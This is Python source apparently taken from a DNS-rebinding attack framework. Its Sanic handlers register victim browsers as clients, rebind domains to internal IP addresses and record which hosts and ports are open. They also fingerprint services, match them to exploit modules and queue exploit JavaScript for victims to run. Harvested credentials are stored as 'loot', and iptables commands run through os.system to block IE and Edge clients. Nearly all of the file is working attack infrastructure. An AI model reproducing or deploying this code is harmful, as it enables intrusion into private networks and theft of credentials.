async def rebind(self, hostname, ip): response = await ipc.async_http_raw( "POST", SOCK_WEBSERVER, "/new/client/{}/{}?port={}".format(ip, hostname, self.port)) if ipc.response_valid( response, dict) is False or "redirect" not in response["text"]: return None resp = response["text"] # Register the new client newid = resp["domain"].split(".")[0] response = await ipc.async_http_raw( "POST", SOCK_DATABASE, "/new/client/{}/{}".format(newid, ip)) if ipc.response_valid(response, dict) is False: logger.error("Unable to store client {}, resp {}".format( newid, response)) return None # If in demo version, we create a timer to delete the data about this client # TODO: Test that it's working if self.client_managed: minutes = 60 * 24 logger.info( "Creating timer to delete client {} in {} minutes".format( newid, minutes)) call = threading.Timer(minutes * 60, ipc.sync_http_raw, ( "POST", SOCK_DATABASE, "/delete/client/{}".format(newid), )) call.start() return {"redirect": resp["redirect"]}
async def client_exploit(self, request, clientid, modid, payid): args = request.json assert isinstance(args, dict) if "HOME" not in args: args["HOME"] = "http://" + request.headers["Host"] tmp = await ipc.async_http_raw("GET", SOCK_DATABASE, "/get/json/{}/product".format(clientid)) if ipc.response_valid(tmp, list): logger.info("Product is {}".format(tmp["text"])) args["product"] = tmp["text"] response = await ipc.async_http_raw( "POST", SOCK_MODULES, "/exploit/code/{}/{}".format(modid, payid), json.dumps(args)) if ipc.response_valid(response, str): res = await self.store_exploit(clientid, response["text"].encode()) if res is False: logger.error( "Unable to store exploit for clientid {}".format(clientid)) return sanic.response.text("Unable to store exploit", status=500) else: logger.error( "Unable to get exploit code for client {}, modid: {}, payloadid: {}" .format(clientid, modid, payid)) return sanic.response.text("Error", status=500) return sanic.response.json(RETURN_OK)
async def common_ports(self, _request): response = await ipc.async_http_raw("GET", SOCK_MODULES, "/ports/list") if ipc.response_valid(response, list): return sanic.response.json(response["text"]) logger.error("Unable to get common ports") return sanic.response.text("", status=500)
async def store_exploit(self, clientid, exploit): response = await ipc.async_http_raw( "POST", SOCK_DATABASE, "/append/body/{}/exploit_queue".format(clientid), exploit) if ipc.response_valid(response, dict): return True return False
async def attack(self, hostname, ip, localip, port, args): response = await ipc.async_http_raw( "POST", SOCK_WEBSERVER, "/new/attack/{}/{}/{}/{}".format(ip, localip, port, hostname)) if ipc.response_valid(response, dict) is False: logger.error( "Unable to get attack value, resp {}".format(response)) return None resp = response["text"] browser = args.get("browser", "Unknown") if browser == "IE" or browser == "Edge": response = await ipc.async_http_raw( "POST", SOCK_DNS, "/add/dynamic/ms/{}/{}".format(resp["domain"], localip)) clientid = misc.hostname2id(hostname) childid = misc.hostname2id(resp["domain"]) response = await ipc.async_http_raw( "POST", SOCK_DATABASE, "/new/attack/value/{}/{}/{}/{}".format(clientid, childid, localip, port)) # Store which browser is used tmp = await self.store_browser(browser, clientid) return {"redirect": resp["redirect"]}
def reload(args): resp = ipc.sync_http_raw("POST", http_socks["modules"], "/reload") if ipc.response_valid(resp, dict): print("Status: {}".format(resp["text"].get("status", "Unknown"))) else: print("Error") print(resp)
def dump(args): client = args.client resp = ipc.sync_http_raw("GET", http_socks["database"], "/get/client/{}".format(client)) if ipc.response_valid(resp, dict): dump_client(resp["text"]) else: print("Unable to find information about client {}".format(client))
async def get_httpresponse(self, _request, clientid): response = await ipc.async_http_raw( "GET", SOCK_DATABASE, "/get/value/{}/httpresponse".format(clientid)) if ipc.response_valid(response, dict): return sanic.response.json(response["text"]) return sanic.response.text("Not found", status=404)
async def client_product(self, _request, clientid): response = await ipc.async_http_raw( "GET", SOCK_DATABASE, "/get/json/{}/product".format(clientid)) if ipc.response_valid(response, list): return sanic.response.json(response["text"]) logger.error("Unable to get product for client {}".format(clientid)) return sanic.response.text("Not found", status=404)
async def client_delete(self, _request, clientid): response = await ipc.async_http_raw( "POST", SOCK_DATABASE, "/delete/client/{}".format(clientid)) if ipc.response_valid(response, dict): return sanic.response.json(response["text"]) logger.error("Unable to delete client {}".format(clientid)) return sanic.response.text("Error", status=500)
def clients(args): resp = ipc.sync_http_raw("GET", http_socks["database"], "/get/clients") ids = resp["text"] if ipc.response_valid(resp, dict): for key, val in ids.items(): print("{} ({} - {})".format(key, val.get("publicip", None), val["browser"])) for child in val["childs"]: print("\t{} ({}:{})".format(child["id"], child["ip"], child["port"]))
async def store_json(self, request, host, modid): clientid = misc.hostname2id(host) data = request.json data = {modid: data} response = await ipc.async_http_raw( "POST", SOCK_DATABASE, "/merge/json/{}/dump".format(clientid), json.dumps(data)) if ipc.response_valid(response, dict): return sanic.response.json(response["text"]) return sanic.response.text("Error", status=500)
async def is_child(self, parent, child): response = await ipc.async_http_raw( "GET", SOCK_DATABASE, "/get/value/{}/parent".format(child)) if ipc.response_valid(response, dict): rparent = response["text"].get("parent", None) if rparent == None or rparent != parent: return False else: return True return False
def modules(args): resp = ipc.sync_http_raw("GET", http_socks["modules"], "/modules/loaded") if ipc.response_valid(resp, dict): for key, val in resp["text"].items(): print("{}:".format(key)) for v in val: print("\t{}".format(v)) else: print("error") print(resp)
async def client_available_modules(self, _request, clientid): response = await ipc.async_http_raw( "GET", SOCK_DATABASE, "/get/json/{}/matched_modules".format(clientid)) if ipc.response_valid(response, list): return sanic.response.json(response["text"]) logger.error( "Unable to matched_modules for client {}".format(clientid)) return sanic.response.text("Error", status=500)
def status(args): for key, val in http_socks.items(): try: resp = ipc.sync_http_raw("GET", val, "/status") except: print("{} is unavailable".format(key)) continue if ipc.response_valid(resp, dict): print("Status for {} - {}".format(key, resp["text"].get("status"))) else: print("Received an invalid response {}".format(resp))
async def hosts_up(self, request): clientid = self.host2clientid(request) response = await ipc.async_http_raw( "POST", SOCK_DATABASE, "/append/list/{}/ipsalive".format(clientid), request.body) if ipc.response_valid(response, dict): return sanic.response.json(response["text"]) logger.error("Unable to save hosts up for client {}".format(clientid)) return sanic.response.text("Error", status=500)
async def store_loot(self, request, host): clientid = misc.hostname2id(host) data = request.json if "USERNAME" in data and "USERPASS" in data: jscode = """Network.request_sd("GET", "/", null, function(xhr) {{ TalkHome.service_detection(xhr, "{}", "{}")}}, "{}", "{}");""".format( request.host, host, data["USERNAME"], data["USERPASS"]) res = await self.store_exploit(clientid, jscode.encode()) if ipc.response_valid(res, dict) is False: logger.error( "Unable to store new service detection: {}".format(res)) response = await ipc.async_http_raw( "POST", SOCK_DATABASE, "/merge/json/{}/loot".format(clientid), json.dumps(data)) if ipc.response_valid(response, dict): return sanic.response.json(response["text"]) return sanic.response.text("Error", status=500)
async def new_commands(self, request, hostname): clientid = misc.hostname2id(hostname) response = await ipc.async_http_raw( "POST", SOCK_DATABASE, "/pop/value/{}/exploit_queue".format(clientid)) # TODO: Gå gjennom all error-checkers, response.get("text", dict) makes no sense if ipc.response_valid(response, str): return sanic.response.text(response["text"]) logger.error( "Unable to get new commands for client {}".format(clientid)) return sanic.response.text("", status=200)
async def store_browser(self, browser, clientid): if browser != "Unknown": response = await ipc.async_http_raw( "POST", SOCK_DATABASE, "/store/value/{}/browser/{}".format(clientid, browser)) if ipc.response_valid(response, dict) is False: logger.error( "Unable to store browser {} at id {}, resp {}".format( browser, clientid, response)) return None return response["text"] return None
async def client_harvested(self, request, clientid): parentid = self.host2clientid(request) ret = await self.is_child(parentid, clientid) if ret is True: ret = {} keys = [ "dump", "loot", "matched_modules", "failed", "success", "product" ] for key in keys: resp = await ipc.async_http_raw( "GET", SOCK_DATABASE, "/get/json/{}/{}".format(clientid, key)) if ipc.response_valid(resp, dict) or ipc.response_valid( resp, list): ret[key] = resp["text"] return sanic.response.json(ret) else: return sanic.response.text("Not allowed", status=403) return sanic.response.text("Error", status=500)
def wait_webserver(self, ip, port, count=10, delay=0.5): for i in range(0, count): logger.debug("Checking if server at {}:{} is up".format(ip, port)) try: resp = ipc.sync_http_raw("GET", "http://127.0.0.1:{}".format(port), "/status") except: resp = None pass if ipc.response_valid(resp, dict): return True time.sleep(delay) return False
async def client_childs(self, request): """ Get all childs of current client along with some other key data. Format is: [{"id":"clientid", "ip":"127.0.0.1", "port":"8080"}] """ clientid = self.host2clientid(request) response = await ipc.async_http_raw( "GET", SOCK_DATABASE, "/get/json/{}/childs".format(clientid)) if ipc.response_valid(response, list): ret = [] clients = response.get("text") for client in clients: ins = {"id": client} for key in ["ip", "port"]: resp1 = await ipc.async_http_raw( "GET", SOCK_DATABASE, "/get/value/{}/{}".format(client, key)) if ipc.response_valid(response, dict): ins[key] = response["text"].get(key, "") ret.append(ins) return sanic.response.json(ret) return sanic.response.text("Not found", status=404)
async def dns_change(self, request, ip_addr): host = self.host2hostname(request) clientid = misc.hostname2id(host) # Notify that this host has connected response = await ipc.async_http_raw( "POST", SOCK_DATABASE, "/store/value/{}/connected/true".format(clientid)) if network.internal_ip(ip_addr) is False: return sanic.response.text(b"Public IP is not allowed", status=403) # Get browser and act accordingly browser = request.raw_args.get("browser", "Unknown") await self.store_browser(browser, clientid) # For MS-browsers we must block the client from accessing the port if browser == "IE" or browser == "Edge": assert network.validIPv4(request.ip) delete = IPTABLES_INSERT.format("-D INPUT", request.ip, self.config["interface"], self.port) insert = IPTABLES_INSERT.format("-I INPUT 1", request.ip, self.config["interface"], self.port) logger.info("Running command: {}".format(insert)) os.system(insert) # Create rule # Get timeout count try: timeout = int(request.raw_args.get("timer", "30")) except: timeout = 30 # Create timer to delete rule # TODO: 30 seconds is not optimal, client could also report when done logger.info("Creating timer to run command: {}".format(delete)) call = threading.Timer(timeout, os.system, (delete, )) call.start() return sanic.response.json(RETURN_OK) else: response = await ipc.async_http_raw( "POST", SOCK_DNS, "/add/dynamic/{}/{}".format(host, ip_addr)) if ipc.response_valid(response, dict): return sanic.response.json(RETURN_OK) return sanic.response.text("Unspecified error", status=500)
async def ports_open(self, request, localip): clientid = self.host2clientid(request) try: payload = json.loads(request.body.decode("utf-8")) except: raise ServerError("POST body is not valid", 500) response = await ipc.async_http_raw( "POST", SOCK_DATABASE, "/append/list/{}/open_{}".format(clientid, localip), request.body) if ipc.response_valid(response, dict): return sanic.response.json(response["text"]) logger.error( "Unable to save ports open for client {} and IP {}, port: {}". format(clientid, localip, request.body)) return sanic.response.text("Error", status=500)
async def generate_exploit(self, request, exploitid, payloadid): # This is only allowed from localhost if request.ip == "127.0.0.1" or self.config["debug_mode"] is True: data = request.json if isinstance(data, dict) is False: return sanic.response.text("Invalid POST body", status=500) response = await ipc.async_http_raw( "POST", SOCK_MODULES, "/exploit/code/{}/{}".format(exploitid, payloadid), request.body) if ipc.response_valid(response, str): return sanic.response.text(response["text"]) return sanic.response.text("Error", status=500) # Default behaviour logger.warning( "Attempted access to generate_exploit from IP: {}".format( request.ip)) return sanic.response.text("Forbidden", status=401)
async def client_payloads(self, _request, exploitid): response = await ipc.async_http_raw( "GET", SOCK_MODULES, "/exploit/payloads/{}".format(exploitid)) if ipc.response_valid(response, list): return sanic.response.json(response["text"]) return sanic.response.text("", status=500)
def purge(args): print("Purging database") resp = ipc.sync_http_raw("POST", http_socks["database"], "/purge") if ipc.response_valid(resp, dict): print("Result {}".format(resp["text"]))
def get_value(section, key): resp = ipc.sync_http_raw("GET", SOCK_CONFIG, "/get/variable/{}/{}".format(section, key)) if ipc.response_valid(resp, dict): return resp["text"].get(key, None) return None
async def service_detection(self, request, rhost): home = request.headers["Host"] clientid = misc.hostname2id(rhost) # Store raw response response = await ipc.async_http_raw( "POST", SOCK_DATABASE, "/store/body/{}/httpresponse".format(clientid), request.body) if ipc.response_valid(response, dict) is False: logger.error( "Unable to store httpresponse for client {}, res {}".format( clientid, response)) return sanic.response.text("", status=404) response = await ipc.async_http_raw("POST", SOCK_SD, "/match", request.body) if ipc.response_valid(response, list): matches = response["text"] # Store matched signatures tmp = await ipc.async_http_raw( "POST", SOCK_DATABASE, "/store/json/{}/product".format(clientid), json.dumps(matches)) if ipc.response_valid(tmp, dict) is False: logger.error( "Unable to store product {} for client {}, res: {}".format( json.dumps(matches), clientid, tmp)) # We still continue for match in matches: response = await ipc.async_http_raw( "GET", SOCK_MODULES, "/search/exploits/product?" + urlencode(match)) if ipc.response_valid(response, list): exploits = list(set(response["text"])) tmp = await ipc.async_http_raw( "POST", SOCK_DATABASE, "/append/list/{}/matched_modules".format(clientid), json.dumps(exploits)) if ipc.response_valid(tmp, dict) is False: logger.error( "Unable to store matched_modules for {}, res {}". format(clientid, tmp)) tmp = await ipc.async_http_raw( "GET", SOCK_DATABASE, "/get/json/{}/loot".format(clientid)) if ipc.response_valid(tmp, dict): args = tmp["text"] else: args = {} args["HOME"] = home for exploit in exploits: tmp = await ipc.async_http_raw( "GET", SOCK_MODULES, "/module/matches/{}".format(exploit)) # Only if classification matches should we get code for it if ipc.response_valid(tmp, dict): if tmp["text"].get("match") is True: response = await ipc.async_http_raw( "GET", SOCK_MODULES, "/exploit/code/{}?{}".format( exploit, urlencode(args))) if ipc.response_valid(response, str): await self.store_exploit( clientid, response["text"].encode()) else: return sanic.response.text( "String is not returned", status=500) return sanic.response.json(RETURN_OK) return sanic.response.json(RETURN_ERROR)